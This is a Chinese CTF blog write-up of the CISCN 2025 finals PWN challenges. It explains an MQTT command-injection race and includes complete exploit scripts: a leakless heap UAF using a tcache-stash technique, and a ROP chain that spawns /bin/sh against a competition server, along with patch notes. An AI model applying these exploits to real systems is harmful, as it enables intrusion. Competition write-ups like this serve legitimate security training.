ciscn-2025-决赛

ciscn-2025-决赛

InkeyP Lv2

Ciscn 2025 决赛 PWN

Day 1

mqtt

漏洞点

存在命令注入,但是需要绕过必须为字母数字的check

注意到程序有sleep(2)而且为多线程,因此这里是条件竞争

先输入合法vin,再进行命令注入

Exp

使用mqttx订阅diag,得到VIN,计算得到auth

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main() {
char a1[] = "111111111a";
int v3 = 0;
int i = 0;
for (i = 0; a1[i]; ++i)
v3 = 31 * v3 + *(char*)(i + a1);
printf("%08x\n", v3);
}

然后发送

Day 2

DarkHeap

解法1

无泄漏UAF

以下exp来自Tplus师傅🥰(tqllll)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 /* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; // 这里会将地址写入
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}

首先

1
2
add(7, 0x108)
add(8, 0x118)

在tcache_struct留下标志位

然后分配0x88大小chunk,填满tcache和smallbin

修改smallbins第七个chunk的bk位,使其指向tcache_struct的0x100链表位置

再申请8个0x88大小的chunk,触发smallbin reverse into tcache

这样,tcache_struct的0x100链表位置就会链入0x90的tcache链表

如法炮制,这次修改smallbins第八个chunk的bk位,使其指向tcache_struct的0x120链表位置

再申请8个0x88大小的chunk,触发smallbin reverse into tcache

这样,libc地址就会写入tcache_struct的0x120链表位置

接着就是申请0x88,修改0x120的低位,指向libc got,改为one gadget,触发报错

无爆破版!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
cmd = '''
set follow-fork child
brva 0x1483
brva 0x15A6
brva 0x154F
brva 0x165A
b malloc.c:3932
set $heap = $rebase(0x40A0)
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
'''
gift.elf = ELF(elf_path := './DarkHeap_patch')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
# gift.io = gdb.debug(elf_path, gdbscript=cmd, sysroot='/')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'Choice:'


def add(idx, size):
sla(IAT, b'1')
sla(b'Index', str(idx))
sla(b'Size', str(size))


def dele(idx):
sla(IAT, b'3')
sla(b'Index', str(idx))


def edit(idx, data):
sla(IAT, b'2')
sla(b'Index', str(idx))
sa(b'Content', data)


# launch_gdb(cmd)


add(7, 0x108)
add(8, 0x118)
heap_base = get_current_heapbase_addr()
libc_base = get_current_libcbase_addr()

for i in range(7):
add(i, 0x88)
dele(7)
dele(8)
for i in range(7, 15):
add(i, 0x88)
add(0xF, 0x10)
for i in range(15):
dele(i)
add(0, 0x4F8)
dele(0)
add(1, 0xB8)
add(2, 0x500 - 0xC0 - 8)
edit(
0,
flat(
{
0xB8: 0x91,
0xB8 + 0x90: 0x91,
0xB8 + 0x90 * 2: 0x91,
},
filler=b'\x00',
),
)
dele(2)
add(0xF, 0x1500) # put last unsorted into small
add(2, 0x1500) # align
dele(0xF)
edit(0xD, p64(0) + p16((heap_base & 0xFFFF) + 0x90 + 8 * (0x100 - 0x20) // 16 - 0x10))
for i in range(8):
add(i, 0x88)

for i in range(7):
add(i, 0x98)
for i in range(7, 15):
add(i, 0x98)
add(0xF, 0x10)
for i in range(15):
dele(i)
add(0, 0x4F8)
dele(0)
add(1, 0xB8)
add(2, 0x500 - 0xC0 - 8)
edit(
0,
flat(
{
0xB8: 0xA1,
0xB8 + 0xA0: 0xA1,
0xB8 + 0xA0 * 2: 0xA1,
},
filler=b'\x00',
),
)
dele(2)
add(0xF, 0x128) # put last unsorted into small
edit(0xE, p64(0) + p16((heap_base & 0xFFFF) + 0x90 + 8 * (0x120 - 0x20) // 16 - 0x10))
for i in range(8):
add(i, 0x98)
add(0, 0x88)
# edit(0, p64(0) * 2 + p32(libc.sym._IO_2_1_stdout_ & 0xFFFF))

edit(0, p64(0) * 2 + p32((libc_base + 0x21A080) & 0xFFFFFFFF)[:3])
add(1, 0x118)
edit(1, p64(0) * 3 + p32((libc_base + get_current_one_gadget_from_libc()[4]) & 0xFFFFFFFF)[:3])
add(2, 0xB8)
dele(2)
dele(2)

ia()

解法2

以下解法来自中大的师傅

由于程序是fork的,因此地址不会改变,可以采用逐位爆破

具体做法就是先申请,然后free到unsortbin,从地位开始改unsortbin里存的libc地址,如果改对了,程序不会爆错,改错了就会

重复即可爆破出完整libc地址

Fix

把free后的chunk fd位清空即可

听说call exit也能过

(nop free也能利用成功也是神人了,逆天check脚本)

Logging System

拿到的是依托,先恢复一下符号

程序先cin读入一个string

然后将string转成sstream,逐个字节读入数据

需要注意的是,程序要求输入base64

这里是base64decode

校验1,首位必须是0xB9

接着读入标志位

标志位有0x80 0x81 0x82 0x83,这些标志位代表下一次读入是读入多少字节的数据

0x80 - 1

0x81 - 2

0x82 - 4

0x83 - 8

接着又是一个校验位,0xBD

和上面一样,也是先读标志位,然后读入数据

不同的是,这里读入数据是作为下一次读入的数据长度,如图v76

同样的,下面重复一次

最后读入校验码,同样是先读入标志位

紧接着程序计算CRC校验值,需要我们最后一次读入的校验值和程序计算的一致

不需要自己计算,打断点动调即可获得校验值

紧接着程序执行memcpy,这里存在栈溢出

Break

简单的ROP,用ropper自动生成的

需要注意的是,程序在最后会调用sstream的析构函数,需要满足里面的一些条件判断,让程序不走到free,不然会崩溃

动调一下修改就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
from pwncli import *
from base64 import *

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
cmd = '''
b *0x405D15

b *0x405D50
b *0x405D9A
ida
c
'''
gift.elf = ELF(elf_path := './LoginSystem')
if local_flag == "remote":
addr = '39.96.183.124 20603'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
# gift.io = gdb.debug(elf_path, gdbscript=cmd, sysroot='/')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
launch_gdb(cmd)

ru(b'--> ')

p = p64
IMAGE_BASE_0 = 0x0000000000400000 # efa234332e5336c9d85b244c515b43af2c82417ea32f1f70f25663d3dfd566e3
rebase_0 = lambda x: p64(x + IMAGE_BASE_0)

rop = b''

rop += rebase_0(0x00000000000071B8) # 0x00000000004071b8: pop r13; ret;
rop += b'//bin/sh'
rop += rebase_0(0x0000000000007150) # 0x0000000000407150: pop rbx; ret;
rop += rebase_0(0x000000000053E160)
rop += rebase_0(0x00000000003C2B42) # 0x00000000007c2b42: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += rebase_0(0x00000000000071B8) # 0x00000000004071b8: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000007150) # 0x0000000000407150: pop rbx; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x00000000003C2B42) # 0x00000000007c2b42: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += p(0xDEADBEEFDEADBEEF)
rop += rebase_0(0x0000000000005D99) # 0x0000000000405d99: pop rdi; ret;
rop += rebase_0(0x000000000053E160)
rop += rebase_0(0x00000000000079C4) # 0x00000000004079c4: pop rsi; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x0000000000128753) # 0x0000000000528753: pop rdx; ret;
rop += rebase_0(0x000000000053E168)
rop += rebase_0(0x0000000000009387) # 0x0000000000409387: pop rax; ret;
rop += p(0x000000000000003B)
rop += rebase_0(0x000000000030C546) # 0x000000000070c546: syscall; ret;

pay1 = flat(
{
0x150: 0x947FC0, # 修改以不走free的分支
0x250: 0x947FC0, # 修改以不走free的分支
0x7C8: rop,
},
filler=b'\x00',
)

payload = b''
payload += b'\xb9'
payload += b'\x80\x03'
payload += b'\xbd'
payload += b'\x80\x05'
payload += b'admin'
payload += b'\xbd'
payload += b'\x81' + p16_ex(len(pay1))
payload += pay1
payload += b'\x82' + p64(0x633F1F27)

payload = payload.ljust(0x100, b'a')

sl(b64encode(payload))

ia()

Fix

memcpy的len改成256即可

embbed_httpd

Fix

晚点补……

  • 标题: ciscn-2025-决赛
  • 作者: InkeyP
  • 创建于 : 2025-07-23 13:18:25
  • 更新于 : 2025-07-23 14:17:49
  • 链接: https://blog.inkey.top/202507/23/ciscn-2025-决赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论